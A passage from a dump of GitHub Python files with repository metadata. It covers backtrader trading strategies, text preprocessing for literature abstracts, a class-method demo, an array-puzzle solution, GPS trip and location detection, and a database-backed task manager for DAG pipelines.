order.alive():\n print('{} {} {}@{}'.format(\n bt.num2date(order.executed.dt),\n 'buy' if order.isbuy() else 'sell',\n order.executed.size,\n order.executed.price)\n )\n def notify_trade(self, trade):\n if trade.isclosed:\n print('profit {}'.format(trade.pnlcomm))\n def __init__(self):\n srsi_k = bt.talib.STOCHRSI(self.data, timeperiod=14, fastk_period=3, fastd_period=3, fastd_matype=0).fastk\n srsi_d = bt.talib.STOCHRSI(self.data, timeperiod=14, fastk_period=3, fastd_period=3, fastd_matype=0).fastd\n self.crossdown = bt.ind.CrossDown(srsi_k, srsi_d) # k crosses down d -> longexit\n self.signal_add(bt.SIGNAL_SHORT, self.crossdown)\n#전략 문제임.\n\nclass AwesomeOSC_Downward(bt.SignalStrategy):\n def notify_order(self, order):\n if not order.alive():\n print('{} {} {}@{}'.format(\n bt.num2date(order.executed.dt),\n 'buy' if order.isbuy() else 'sell',\n order.executed.size,\n order.executed.price)\n )\n def notify_trade(self, trade):\n if trade.isclosed:\n print('profit {}'.format(trade.pnlcomm))\n\n def __init__(self):\n lines = ('ao',)\n self.ao = bt.ind.AwesomeOscillator(self.data)\n self.d1=D2(self.ao).downmove\n\n # self.signal_add(bt.SIGNAL_LONGEXIT, self.lines)\n def next(self):\n if self.ao >0 and self.d1>0:\n self.close()\n # pass\ndef Function_For_Build_SupervisedLSTM_Strategy_Object(FeatureData_PeriodRange_Start, FeatureData_PeriodRange_End):\n\n class LSTM_StrategyObject(bt.Strategy):\n def __init__(self):\n\n self.data_open = self.datas[0].open\n self.data_high = self.datas[0].high\n self.data_low = self.datas[0].low\n self.data_close = self.datas[0].close\n self.data_volume = self.datas[0].volume\n\n \n def next(self):\n\n def Function_Make_FeatureDataSet(From_Period, To_Period):\n\n Im_Feature_DataSet = []\n\n for TimeSequence in range( From_Period, To_Period, -1) :\n\n Im_Feature_DataSet.append(self.data_open[TimeSequence])\n Im_Feature_DataSet.append(self.data_high[TimeSequence])\n Im_Feature_DataSet.append(self.data_low[TimeSequence])\n Im_Feature_DataSet.append(self.data_close[TimeSequence])\n Im_Feature_DataSet.append(self.data_volume[TimeSequence])\n\n return Im_Feature_DataSet\n\n Im_Current_Feature_DataSet = reshape(Function_Make_FeatureDataSet(0, FeatureData_PeriodRange_End - FeatureData_PeriodRange_Start), (1,1, 5*( FeatureData_PeriodRange_Start - FeatureData_PeriodRange_End) ))\n\n if Im_prediction_function(Im_Current_Feature_DataSet) >= (1.03 * self.data_close[0]) :\n self.buy()\n elif Im_prediction_function(Im_Current_Feature_DataSet) <= (0.97 * self.data_close[0]):\n self.sell()\n\n return LSTM_StrategyObject\nclass VICross(bt.SignalStrategy):\n def notify_order(self, order):\n if not order.alive():\n print('{} {} {}@{}'.format(\n bt.num2date(order.executed.dt),\n 'buy' if order.isbuy() else 'sell',\n order.executed.size,\n order.executed.price)\n )\n def notify_trade(self, trade):\n if trade.isclosed:\n print('profit {}'.format(trade.pnlcomm))\n lines = ('signal',)\n params = (('period', 14),)\n\n def __init__(self):\n lines = ('vi_crossup', 'vi_crossdown','oscillator','ln')\n vi_plus = bt.ind.Vortex(self.data).vi_plus\n vi_minus = bt.ind.Vortex(self.data).vi_minus\n self.vi_crossup = bt.ind.CrossUp(vi_plus, vi_minus)\n self.vi_crossdown = bt.ind.CrossDown(vi_plus,vi_minus)\n self.signal_add(bt.SIGNAL_LONG, self.vi_crossup)\n\n self.oscillator= bt.ind.AwesomeOscillator(self.data)\n # print(type(oscillator),oscillator)\n #if awesome oscillator > 0 and two consecutive red (meaning decreasing from the last point) then close the position.\n self.ln=bt.talib.LN(self.data)\n\n def next(self):\n #vi_crossup > 0 and AO is green\n if (self.vi_crossup > 0) and (self.oscillator[-2] - self.oscillator[-1] > 0):\n self.buy()\n # if self.vi_crossdown > 0:\n # self.close()\n if ((self.oscillator[-2] - self.oscillator[-1] > 0) and (self.oscillator[-3]-self.oscillator[-2] > 0) and (self.oscillator > 0)):\n # if ((self.oscillator >0) and (self.oscillator(-2) - self.oscillator(-1) > 0) and (self.oscillator(-3) - self.oscillator(-2) > 0)):\n self.close()\n","repo_name":"dscoool/alpha-01","sub_path":"strategy3.py","file_name":"strategy3.py","file_ext":"py","file_size_in_byte":8479,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"31898720528","text":"import pandas as pd\nfrom nltk.corpus import stopwords\nfrom nltk import word_tokenize\nimport nltk\nimport string\nfrom unidecode import unidecode\n#from litreview.params import LOCAL_CSV\nnltk.download('stopwords')\nnltk.download('punkt')\nnltk.download('wordnet')\n\nstop_words = set(stopwords.words('english'))\n\n# single steps\ndef lower_case(text):\n lowercased = text.lower()\n return lowercased\n\ndef remove_whitespaces(text):\n merged_spaces = text.replace(r\"\\s\\s+\",' ')\n return merged_spaces\n\ndef remove_special_characters(text):\n text = unidecode(text)\n return text\n\ndef remove_punctuation(text):\n for punctuation in string.punctuation:\n text = text.replace(punctuation, '')\n return text\n\ndef remove_stopwords(text):\n tokenized = word_tokenize(text)\n without_stopwords = [word for word in tokenized if not word in stop_words]\n return without_stopwords\n\n# this function is not working\ndef remove_numbers(lst):\n for word in lst:\n if word.isdecimal():\n lst.remove(word)\n return lst\n\ndef preprocessing(csv_input):\n df = pd.read_csv(csv_input)\n df[\"clean_abstract\"] = df[\"abstract\"] + df[\"authors\"] + df[\"title\"]\n df['clean_abstract'] = df.clean_abstract.apply(lower_case)\n df['clean_abstract'] = df.clean_abstract.apply(remove_whitespaces)\n df['clean_abstract'] = df.clean_abstract.apply(remove_special_characters)\n df['clean_abstract'] = df.clean_abstract.apply(remove_punctuation)\n df['clean_abstract'] = df.clean_abstract.apply(remove_stopwords)\n df[\"clean_abstract_text\"] = df[\"clean_abstract\"].apply(lambda x: \" \".join(x))\n\n return df\n\ndef input_preprocessing(text):\n text = lower_case(text)\n text = remove_whitespaces(text)\n text = remove_special_characters(text)\n text = remove_punctuation(text)\n text = remove_stopwords(text)\n text = \" \".join(text)\n return text\n","repo_name":"clairefiltz/litreview","sub_path":"litreview/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23301886627","text":"\"\"\"\nПриклади використання static and classmethod.\nhasattr\nСпробувати імпортувати класс з одно модуля в інший.\n\"\"\"\n\nfrom datetime import date\n\n\nclass Person:\n \"\"\"Demonstrate classmethod and staticmethod use age of person\"\"\"\n def __init__(self, name, age):\n self.name = name\n if age >= 121:\n self.age = 'You are not real'\n else:\n self.age = age\n\n\n @classmethod\n def year_from_birth(cls, name, year):\n \"\"\"a class method to create a Person object by birth year\"\"\"\n return cls(name, date.today().year - year)\n\n\n @staticmethod\n def is_adult(age):\n \"\"\"a static method to check if a Person is adult or not\"\"\"\n return age > 18\n\n\nperson1 = Person('mayank', 21)\nperson2 = Person.year_from_birth('mayank', 1996)\n\nif __name__ == '__main__':\n print(person1.age)\n print(person2.age)\n print(Person.isAdult(22))\n","repo_name":"GooseOfWar/hillel_python_course_beginer","sub_path":"HW_14/voropaiev_illia_task_1_hw_14.py","file_name":"voropaiev_illia_task_1_hw_14.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"14170807976","text":"# Problem: You are given an array of integers in an arbitrary order. Return whether or not it is possible to make the array non-decreasing by modifying at most 1 element to any value.\n# We define an array is non-decreasing if array[i] <= array[i + 1] holds for every i (1 <= i < n).\n#Example: [13, 4, 7] should return true, since we can modify 13 to any value 4 or less, to make it non-decreasing.\n# [13, 4, 1] however, should return false, since there is no way to modify just one element to make the array non-decreasing.\n#\n#Approach: You only need to search for the element in the array that is decreasing, i.e. nums[i] > nums[i + 1].\n# If you find more than one such elements, return False; if you cannot find one, return True.\n# Then try to find out whether the array can be no-decreasing if you change the value of nums[i] or nums[i + 1]. It can be easily done by one line:\n# return ((nums[i - 1] <= nums[i + 1]) or (nums[i - 2] <= nums[i]))\n\n\ndef checkPossibility(self, nums):\n c = 0 # count for the number of decreasing elements\n p = 0 # place of the decreasing element\n for i in range(len(nums) - 1):\n if(nums[i] > nums[i + 1]):\n c += 1\n p = i + 1\n if c == 0:\n return True\n elif c > 1:\n return False\n else:\n if p == 1 or p == len(nums) - 1: # corner case\n return True\n else:\n return ((nums[p - 1] <= nums[p + 1]) or (nums[p - 2] <= nums[p]))\n","repo_name":"imavijit/Project-Euler-LeetCode","sub_path":"Daily Interview Pro/Problem11.py","file_name":"Problem11.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"21148103156","text":"import numpy as np\nfrom .trip import Trip\nfrom .location import Visit, Location\nfrom .distance import GeodesicDistance\nfrom ..common.conversions import meter_per_second_to_km_per_hour,\\\n km_per_hour_to_meter_per_second\n \n\n \nclass Fix:\n def __init__(self, tstmp, coords, elev, index):\n self.tstmp = tstmp\n self.coords = coords\n self.elev = elev\n self.index = index\n \n def assign(self, other):\n self.tstmp = other.tstmp\n self.coords = other.coords\n self.elev = other.elev\n self.index = other.index\n \nclass GPSData:\n \n STATIONARY = 0\n MOTION = 1\n PAUSE = 2\n MOTION_NOT_TRIP = -1\n \n def __init__(self, id, fname, proj=None):\n \n self.g = GeodesicDistance()\n self.proj = proj\n \n self.id = id\n self.fname = fname\n \n self.timestamps = None\n self.local_datetime = None\n self.latitudes = None\n self.longitudes = None\n self.elevations = None\n self.is_first_fix = None\n self.is_last_fix = None\n \n self.valid_fixes_id = None\n self.ntotal_fixes = None\n \n self.speeds = None\n self.cumdist = None\n \n self.state = None\n self.trip_marker = None\n self.trip_type = None\n self.location_marker = None\n self.visit_marker = None\n \n self.is_valid = None\n \n self.trips = []\n self.locations = []\n self.visits = []\n \n self.locationCounter = 0\n self.tripCounter = 0\n self.visitCounter = 0\n \n self.home_coords = None\n self.is_home = None\n \n self.store_maps_coords = None\n self.store_id = None\n self.store_marker = None\n \n self.unordered_source = False\n self.logging = False\n \n \n def compute_dist(self): \n self.speeds = np.zeros_like(self.timestamps)\n self.cumdist = np.zeros_like(self.timestamps)\n \n prev_time = None\n prev_coords = None\n rundist = 0\n \n for i in np.arange(self.timestamps.shape[0]):\n if self.is_first_fix[i]:\n prev_coords = (self.latitudes[i], self.longitudes[i])\n prev_time = self.timestamps[i]\n rundist = 0\n self.cumdist[i] = 0\n \n next_coords = (self.latitudes[i+1], self.longitudes[i+1])\n next_time = self.timestamps[i+1]\n \n d = self.g.compute_distance_t(prev_coords, next_coords)\n \n self.speeds[i] = d/(next_time - prev_time)\n else:\n cur_coords = (self.latitudes[i], self.longitudes[i])\n cur_time = self.timestamps[i]\n \n cur_dist = self.g.compute_distance_t(prev_coords, cur_coords)\n \n assert np.isnan(cur_dist)==False \n \n rundist += cur_dist\n self.cumdist[i] = rundist\n self.speeds[i] = meter_per_second_to_km_per_hour( cur_dist / (cur_time - prev_time) )\n \n prev_coords = cur_coords\n prev_time = cur_time\n \n def measurement_time(self):\n self._fix_first_last_fixes()\n tot_time_hours = (self.timestamps[-1] - self.timestamps[0])/3600.\n tot_valid_time_hours = 0\n \n first_fixes = np.where(self.is_first_fix == 1)[0]\n last_fixes = np.where(self.is_last_fix == 1)[0]\n \n for (start, last) in zip(first_fixes, last_fixes):\n tot_valid_time_hours += (self.timestamps[last] - self.timestamps[start])/3600.\n \n return tot_time_hours, tot_valid_time_hours, tot_time_hours-tot_valid_time_hours\n \n def mark_home(self, home_coords, radius):\n self.home_coords = home_coords\n self.is_home = np.zeros_like(self.timestamps)\n for i in np.arange(self.timestamps.shape[0]):\n fix = self._getFix(i)\n d = self.g.compute_distance_t(fix.coords, home_coords)\n if d < radius:\n self.is_home[i] = 1\n \n def mark_store(self, store_maps_coords, radius):\n self.store_maps_coords = store_maps_coords\n self.store_id = -np.ones_like(self.timestamps)\n self.store_marker = -np.ones_like(self.timestamps)\n for i in np.arange(self.timestamps.shape[0]):\n fix = self._getFix(i)\n d = np.inf\n my_ci = None\n for store_id, data in store_maps_coords.items():\n ci = (data[0], data[1])\n marker = data[2]\n di = (fix.coords[0]-ci[0])**2+(fix.coords[1]-ci[1])**2#self.g.compute_distance_t(fix.coords, ci)\n if di < d:\n d = di\n self.store_id[i] = store_id\n self.store_marker[i] = marker\n my_ci = ci\n \n d = self.g.compute_distance_t(fix.coords, my_ci)\n if d > radius:\n self.store_id[i] = -1\n self.store_marker[i] = -1\n \n\n \n \n def trip_detection(self, trip_parameters):\n \n first_fixes = np.where(self.is_first_fix == 1)[0]\n last_fixes = np.where(self.is_last_fix == 1)[0]\n if first_fixes.shape[0] != last_fixes.shape[0]:\n print(\"Error:\", first_fixes.shape[0], last_fixes.shape[0])\n raise\n \n self.state = -np.ones_like(self.timestamps, dtype=np.int)\n self.trip_marker = -np.ones_like(self.timestamps, dtype=np.int)\n \n assert len(self.trips) == 0\n \n for i in np.arange(first_fixes.shape[0]):\n self._define_state(first_fixes[i], last_fixes[i]+1, trip_parameters)\n \n if np.any(self.state==-1):\n print(first_fixes)\n print(np.where(self.state==-1))\n raise\n \n for i in np.arange(first_fixes.shape[0]):\n self._trip_detection(first_fixes[i], last_fixes[i]+1, trip_parameters)\n \n print( \"Detected {0} trips\".format(len(self.trips)) )\n \n for trip in self.trips:\n self.trip_marker[trip.start_index:trip.end_index+1] = trip.id\n\n \n \n def classify_trip(self, parameters_speed_cutoff):\n type_count = {}\n for k in parameters_speed_cutoff.keys():\n type_count[k] = 0\n \n for trip in self.trips:\n trip.classify(parameters_speed_cutoff)\n type_count[trip.type] += 1\n \n for k in type_count:\n print(type_count[k], \" trips of type \", k)\n \n self.trip_type = -np.ones_like(self.timestamps, dtype=np.int)\n for trip in self.trips:\n if trip.type=='slow_walk':\n self.trip_type[trip.start_index:trip.end_index+1] = 0\n if trip.type=='walk':\n self.trip_type[trip.start_index:trip.end_index+1] = 1\n elif trip.type=='bike':\n self.trip_type[trip.start_index:trip.end_index+1] = 2\n elif trip.type=='vehicle':\n self.trip_type[trip.start_index:trip.end_index+1] = 3\n \n \n def _trap_points(self, loc_param):\n if False:\n self.state[np.logical_and(self.trip_marker==-1, self.state==self.MOTION) ] = self.MOTION_NOT_TRIP\n store_start = None\n for i in np.arange(1, self.state.shape[0]):\n if self.state[i-1] == self.STATIONARY and self.state[i] == self.MOTION_NOT_TRIP:\n store_start = i\n if self.state[i-1] == self.MOTION_NOT_TRIP and self.state[i] == self.STATIONARY:\n if store_start:\n dist = self.get_distance(i, store_start-1)\n if dist < loc_param['radius']:\n self.state[store_start:i] = self.STATIONARY\n self._log(\"Change to stationary: \", store_start, i)\n \n self.state[self.state == self.MOTION_NOT_TRIP] = self.MOTION\n else:\n self.state[np.logical_and(self.trip_marker==-1, self.is_valid)] = self.STATIONARY\n \n \n def location_detection(self, loc_param):\n assert self.trip_marker is not None\n \n self._trap_points(loc_param)\n \n first_fixes = self.is_first_fix.nonzero()[0]\n last_fixes = self.is_last_fix.nonzero()[0]\n \n self.location_marker = -np.ones_like(self.timestamps, dtype=np.int)\n self.visit_marker = -np.ones_like(self.timestamps, dtype=np.int)\n assert len(self.locations) == 0\n \n assert len(self.visits) == 0\n \n for i in np.arange(first_fixes.shape[0]):\n self._detect_visits(first_fixes[i], last_fixes[i]+1, loc_param, self.visits)\n \n print( \"Detected {0} visits\".format(len(self.visits)) )\n \n self._merge_visits_into_locations(self.visits, loc_param[\"radius\"])\n \n print( \"Detected {0} locations\".format(len(self.locations)) )\n \n for location in self.locations:\n for (f,l,visitid) in zip(location.first_indexes, location.stops, location.visit_ids):\n self.location_marker[f:l] = location.id\n self.visit_marker[f:l] = visitid\n \n def _getFix(self, i):\n if i < self.timestamps.shape[0]:\n return Fix(self.timestamps[i], (self.latitudes[i], self.longitudes[i]), self.elevations[i], i)\n else:\n return None\n \n def _get1MinBeforeFix(self,i, start):\n curr_time = self.timestamps[i]\n for j in np.arange(i-1, start, -1):\n j_time = self.timestamps[j]\n if curr_time - j_time > 60:\n return self._getFix(j)\n \n return self._getFix(start)\n \n def _define_state(self, start, stop, trip_parameters):\n \n min_dist = trip_parameters[\"min_dist\"]\n \n possible_pause = False\n possible_pause_start_index = start\n \n self.state[start] = self.STATIONARY\n \n for i in np.arange(start+1,stop):\n prev_fix = self._get1MinBeforeFix(i, start)\n cur_fix = self._getFix(i)\n dist = self.g.compute_distance_t(prev_fix.coords, cur_fix.coords)\n \n if dist > min_dist:\n self.state[i] = self.MOTION\n if self.state[i-1] == self.STATIONARY and possible_pause:\n stop_len = cur_fix.tstmp - self.timestamps[possible_pause_start_index]\n possible_pause = False\n if stop_len < trip_parameters[\"min_pause\"]:\n self.state[possible_pause_start_index:i] = self.MOTION\n elif stop_len < trip_parameters[\"max_pause\"]:\n self.state[possible_pause_start_index:i] = self.PAUSE\n else:\n self.state[possible_pause_start_index:i] = self.STATIONARY\n else:\n self.state[i] = self.STATIONARY\n if self.state[i-1] == self.MOTION:\n possible_pause = True\n possible_pause_start_index = i\n \n if self.state[start+1] == self.MOTION:\n self.state[start] = self.MOTION\n \n def _trip_detection(self,start, stop, trip_parameters):\n \n self._log(\"_trip_detection\", start, \" \", stop)\n trip_start = None\n \n if self.state[start] == self.MOTION:\n trip_start = start\n \n self._log(\"Trip start: \", trip_start)\n \n for i in np.arange(start+1,stop):\n if self.state[i] == self.MOTION and self.state[i-1] == self.STATIONARY:\n assert trip_start is None\n trip_start = i-1\n self._log(\"Trip start: \", trip_start)\n elif self.state[i] == self.STATIONARY and self.state[i-1] == self.MOTION:\n self._log(\"Trip end: \", i)\n trip = self._validateTrip(trip_start, i, trip_parameters)\n trip_start = None\n if trip:\n self.trips.append( trip )\n\n elif self.state[i] == self.STATIONARY and self.state[i-1] == self.PAUSE:\n print(\"Error going from PAUSE to STATIONARY is forbidden\")\n raise\n elif self.state[i] == self.PAUSE and self.state[i-1] == self.STATIONARY:\n print(\"Error going from STATIONARY to PAUSE is forbidden\")\n raise\n \n if trip_start is not None:\n self._log(\"Trip end at end of fix: \", i)\n trip = self._validateTrip(trip_start, stop-1, trip_parameters)\n if trip:\n self.trips.append( trip )\n \n def _validateTrip(self, start, end, trip_parameters):\n \n self._log(\"_validateTrip\", start, \" \", end)\n \n incomplete_data = self.is_first_fix[start] or self.is_last_fix[end]\n \n success = False\n for i in np.arange(start,end):\n my_d = self.get_distance(i+1, start)\n if my_d > trip_parameters[\"radius\"]:\n success = True\n break\n \n if not success and not incomplete_data:\n self._log(\"From start = {0} to end = {1} the diameter only {2} meters\".format(start, end, my_d))\n return None\n \n if not success and incomplete_data:\n self._log(\"From start = {0} to end = {1} the diameter only {2} meters. Incomplete trip\".format(start, end, my_d))\n self.is_valid[start:end] = 0\n return None\n \n duration = self.timestamps[end] - self.timestamps[start]\n distance = self.cumdist[end] - self.cumdist[start]\n trip_is_valid = True\n \n if duration < trip_parameters[\"min_dur\"] and not incomplete_data:\n self._log(\"From start = {0} to end = {1} is only {2} seconds\".format(start, end, duration))\n trip_is_valid = False\n return None\n \n if duration < trip_parameters[\"min_dur\"] and incomplete_data:\n self._log(\"From start = {0} to end = {1} is only {2} seconds. Incomplete trip\".format(start, end, duration))\n self.is_valid[start:end] = 0\n return None\n \n if distance < trip_parameters[\"min_length\"] and not incomplete_data:\n self._log(\"From start = {0} to end = {1} the distance traveled is only {2} meters\".format(start, end, distance))\n trip_is_valid = False\n return None\n \n if distance < trip_parameters[\"min_length\"] and incomplete_data:\n self._log(\"From start = {0} to end = {1} the distance traveled is only {2} meters. Incomplete trip\".format(start, end, distance))\n self.is_valid[start:end] = 0\n return None\n \n speedAvg = np.mean(self.speeds[start:end+1])\n maxSpeedIndex = np.argmax(self.speeds[start:end+1])\n if maxSpeedIndex == 0:\n speedMax = self.speeds[start + 1]\n elif maxSpeedIndex == end-start:\n speedMax = self.speeds[end - 1]\n else:\n speedMax = .5*(self.speeds[start + maxSpeedIndex + 1] + self.speeds[start + maxSpeedIndex - 1])\n \n \n if speedAvg < trip_parameters[\"min_avg_speed\"] and not incomplete_data:\n self._log(\"From start = {0} to end = {1} the average speed is only {2} km/hours\".format(start, end, speedAvg))\n trip_is_valid = False\n return None\n \n if speedAvg < trip_parameters[\"min_avg_speed\"] and incomplete_data:\n self._log(\"From start = {0} to end = {1} the average speed is only {2} km/hours. Incomplete trip\".format(start, end, speedAvg))\n trip_is_valid = False\n self.is_valid[start:end] = 0\n return None\n\n \n id = self.tripCounter\n self.tripCounter += 1\n trip = Trip(id, start, end,duration, distance, trip_is_valid)\n \n trip.crowdist = self.g.compute_distance(self.latitudes[start], self.longitudes[start],\n self.latitudes[end], self.longitudes[end] )\n \n trip.radius = trip.crowdist\n for i in np.arange(start+1, end):\n d1 = self.g.compute_distance(self.latitudes[start], self.longitudes[start],\n self.latitudes[i], self.longitudes[i] )\n \n d2 = self.g.compute_distance(self.latitudes[i], self.longitudes[i],\n self.latitudes[end], self.longitudes[end] )\n \n trip.radius = max(trip.radius, d1, d2)\n \n trip.speedRMax = speedMax\n \n trip.speedAvg = speedAvg\n \n return trip\n \n def _detect_visits(self, start, stop, location_parameters, visits):\n \n if self.state[start] == self.STATIONARY:\n location_start = start\n elif self.state[start] == self.MOTION:\n location_start = None\n else:\n raise\n \n if location_parameters[\"pause\"]:\n for i in np.arange(start+1,stop):\n if self.state[i] in [self.STATIONARY, self.PAUSE] and self.state[i-1] in [self.MOTION]:\n assert location_start is None\n location_start = i\n elif self.state[i] == self.MOTION and self.state[i-1] in [self.STATIONARY, self.PAUSE]:\n visit = self._isVisit(location_start, i, location_parameters)\n location_start = None\n if visit:\n visits.append( visit ) \n else:\n for i in np.arange(start+1,stop):\n if self.state[i] in [self.STATIONARY] and self.state[i-1] == self.MOTION:\n assert location_start is None\n location_start = i\n elif self.state[i] == self.MOTION and self.state[i-1] in [self.STATIONARY]:\n visit = self._isVisit(location_start, i, location_parameters)\n location_start = None\n if visit:\n visits.append( visit )\n \n if location_start is not None:\n visit = self._isVisit(location_start, stop, location_parameters)\n if visit:\n visits.append( visit )\n \n def _isVisit(self, start_index, stop, location_parameters):\n \n if(start_index > stop):\n print(\"Start index: \", start_index, \"Last index: \", stop)\n raise\n \n if self.timestamps[stop-1] < self.timestamps[start_index]:\n print(\"Start index time: \", self.local_datetime[start_index], start_index)\n print(\"End index time: \", self.local_datetime[stop-1], stop-1)\n \n incomplete_data = self.is_first_fix[start_index] or self.is_last_fix[stop-1]\n \n duration = self.timestamps[stop-1] - self.timestamps[start_index]\n\n is_pause = np.all(self.state[start_index:stop] > self.STATIONARY)\n \n if is_pause:\n self._log(\"Detected pause between {0} and {1} of length {2}\".format(start_index, stop, duration))\n \n if duration < location_parameters[\"min_time\"] and is_pause:\n return None\n \n visit_is_valid = True\n if duration < location_parameters[\"min_time\"] and not incomplete_data:\n visit_is_valid = False\n self._log(\"_isVisit start {0} end {1} duration {2} incomplete data {3}: \".format( \n start_index, stop, duration, incomplete_data))\n \n if duration < location_parameters[\"min_time\"] and incomplete_data:\n self.is_valid[start_index:stop] = 0\n return\n \n if duration < 1.:\n duration = 1.\n \n lats = self.latitudes[start_index:stop]\n lons = self.longitudes[start_index:stop]\n cm_lat = np.mean( lats )\n cm_lon = np.mean( lons )\n \n radius = max([self.g.compute_distance(lat, lon, cm_lat, cm_lon) for (lat,lon) in zip(lats, lons) ] )\n if (radius <= location_parameters[\"radius\"]) or True:\n cl = Visit(self.visitCounter, cm_lat, cm_lon, radius, duration, start_index, stop)\n cl.is_valid = visit_is_valid\n cl.distanceFromHome(self)\n cl.distanceFromStore(self)\n self.visitCounter+=1\n return cl\n else:\n if self.g.compute_distance(lats[0], lons[0], cm_lat, cm_lon) > self.g.compute_distance(lats[-1], lons[-1], cm_lat, cm_lon):\n return self._isVisit(start_index+1, stop, location_parameters)\n else:\n return self._isVisit(start_index, stop-1, location_parameters)\n \n \n def _merge_visits_into_locations(self, visits, radius):\n assert len(self.locations) == 0\n \n locationAlreadyVisited = False\n for visit in visits:\n for loc in self.locations:\n locationAlreadyVisited = loc.merge(visit,self,radius)\n if locationAlreadyVisited:\n break\n if not locationAlreadyVisited:\n self.locations.append(Location(self.locationCounter, visit, self))\n self.locationCounter+=1\n \n \n def get_distance(self,i,j):\n fix_i = self._getFix(i)\n fix_j = self._getFix(j)\n \n return self.g.compute_distance_t(fix_i.coords, fix_j.coords) \n\n def _log(self, *args):\n if self.logging:\n print(*args)\n \n def _fix_first_last_fixes(self):\n for i in np.arange(self.is_first_fix.shape[0]-1):\n if self.is_first_fix[i]==1 and self.is_valid[i] == 0:\n self.is_first_fix[i] = 0\n self.is_first_fix[i+1] = 1\n \n for i in np.arange(self.is_last_fix.shape[0]-1, 1, -1):\n if self.is_last_fix[i]==1 and self.is_valid[i] == 0:\n self.is_last_fix[i] = 0\n self.is_last_fix[i-1] = 1\n","repo_name":"dsalvolab/hbspace","sub_path":"hbspace/gps/gpsData.py","file_name":"gpsData.py","file_ext":"py","file_size_in_byte":22686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"14624619124","text":"from Connection import Connect\nimport json\nfrom enum import Enum\nfrom plugins.DAG.option import Option\nfrom datetime import datetime\nfrom plugins.DAG.dag import Dag\nclass Task():\n\n Date = Enum(\"date\", [\"yyyymmdd\", \"ddmmyyyy\", \"mmddyyyy\"])\n Type = Enum(\"taskType\", [\"hdfs-sensor\", \"bash\"])\n tp = ['hdfs-sensor', 'bash']\n def __init__(self, id=None, name=None, task_type=None, priority_weight=None, pool=None,\n upstreams=None, filepath=None, flag=None, recursive= None, min_size=None, ignore_failed= None, command_template=None, number_of_days=None,\n interval=None, date=None, dataset=None):\n self.id = id\n self.name = name\n self.task_type = task_type\n self.priority_weight = priority_weight\n self.pool = pool\n self.upstreams = upstreams\n self.filepath = filepath\n self.flag = flag\n self.recursive = recursive\n self.min_size = min_size\n self.ignore_failed = ignore_failed\n self.command_template = command_template\n\n self.number_of_days = number_of_days\n self.interval = interval\n self.date = date\n self.dataset = dataset\n \n def ListTask(self, id):\n conn = Connect()\n lst_task = []\n selectTask = \"\"\"select * from task where dag_id = %s\"\"\"\n value_id = (id,)\n data = conn.SelectAll_item(selectTask, value_id)\n for task in data:\n t = Task(task[0], task[1], task[3], task[4], task[5],task[6],task[7], task[8], task[9], task[10], task[11], task[12])\n lst_task.append(t)\n return lst_task\n\n def updateTask(self, task):\n conn = Connect()\n if task.task_type == 'hdfs-sensor':\n updateTask = \"\"\"update task set name = %s, priority_weight=%s, pool=%s,upstreams=%s,filepath=%s,\n flag=%s, recursive=%s, min_size=%s where id = %s\"\"\"\n value = (task.name, task.priority_weight,task.pool,task.upstreams,task.filepath,\n task.flag,task.recursive,task.min_size, task.id)\n conn.Insert_item(updateTask, value)\n elif task.task_type == 'bash':\n updateTask = \"\"\"update task set name = %s, priority_weight=%s, pool=%s,upstreams=%s,ignore_failed=%s,\n command_template=%s where id = %s\"\"\"\n value = (task.name, task.priority_weight,task.pool,task.upstreams,task.ignore_failed,\n task.command_template, task.id)\n conn.Insert_item(updateTask, value)\n else :\n updateTask = \"\"\"update task set name = %s, priority_weight=%s, pool=%s,upstreams=%s, command_template=%s where id = %s\"\"\"\n value = (task.name, task.priority_weight,task.pool,task.upstreams,task.command_template, task.id)\n conn.Insert_item(updateTask, value)\n \n def convertdate(self,select):\n for d in self.Date:\n if d.value == select:\n date = \"\"\n result = \"\".join(dict.fromkeys(d.name))\n l = list(result)\n date = \"%\"+l[0]+\"%\"+l[1]+\"%\"+l[2]\n return date\n\n def convertTask (self, select):\n return None\n\n def format_date (self, select):\n for d in self.Date:\n if d.value == select:\n return d.name\n\n def insertTask(self, upstreams, task, id_dag, format_date, format_previous_date, previous_date):\n conn = Connect()\n insert_task = \"\"\" insert into task(name, dag_id, task_type, priority_weight, pool, upstreams, filepath, flag, recursive, min_size, ignore_failed, command_template) values\n (%s, %s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\"\"\n\n taskname = task.name\n if not upstreams:\n item_tuple_task = (taskname,id_dag,task.task_type,task.priority_weight,task.pool,[],task.filepath,task.flag,\n task.recursive, task.min_size, task.ignore_failed, task.command_template)\n else :\n item_tuple_task = (taskname,id_dag,task.task_type,task.priority_weight,task.pool,upstreams,task.filepath,task.flag,\n task.recursive, task.min_size, task.ignore_failed, task.command_template)\n conn.Insert_item(insert_task,item_tuple_task)\n\n #Options\n query_taskid = \"select id from task where name = %s\"\n value_name = (taskname,)\n id_task = conn.Select_item(query_taskid, value_name)\n insert_option = \"\"\"insert into option(task_id, number_of_days, interval, date, format_date, format_previous_date) values\n (%s, %s, %s, %s, %s,%s)\"\"\"\n\n item_tuple_option = (id_task,task.number_of_days, task.interval, task.date, format_date, format_previous_date)\n conn.Insert_item(insert_option,item_tuple_option)\n\n #Command\n query_optionid = \"select id from option where task_id = %s\"\n value_id = (id_task,)\n id_option = conn.Select_item(query_optionid,value_id)\n\n insert_command = \"\"\"insert into command(option_id, dataset, date, previous_date) values\n (%s, %s, %s, %s)\"\"\"\n item_tuple_option = (id_option, task.dataset, task.date, previous_date)\n conn.Insert_item(insert_command,item_tuple_option)\n\n def selecTask(self, id):\n conn = Connect()\n selectDag = \"\"\"select * from task where id = %s\"\"\"\n value_id = (id,)\n data = conn.SelectAll_item(selectDag, value_id)\n for task in data:\n t = Task(task[0], task[1], task[3], task[4], task[5],task[6],task[7], task[8], task[9], task[10], task[11], task[12])\n return t\n\n def getId_Dag(self, idTask):\n conn = Connect()\n selectidDag = \"\"\"select dag_id from task where id = 